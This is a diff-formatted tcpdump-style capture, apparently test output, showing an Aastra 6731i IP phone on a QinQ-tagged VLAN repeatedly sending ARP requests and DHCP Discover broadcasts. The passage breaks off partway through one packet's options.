+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51540, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a015, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51551, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a015, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51558, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a015, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51574, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a015, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51605, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a015, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51608, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a015, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51616, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a015, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51632, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a015, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51664, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f99, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51675, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f99, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51683, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f99, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51699, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f99, secs 28, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51731, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f99, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51734, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f99, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51742, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f99, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51757, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f99, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51788, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f1d, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (6f:6e:02:63:61:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51802, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f1d, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51809, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f1d, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51824, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f1d, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51855, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f1d, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51859, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f1d, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51867, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f1d, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51883, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f1d, secs 28, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51915, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e9e, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51925, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e9e, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51932, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e9e, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
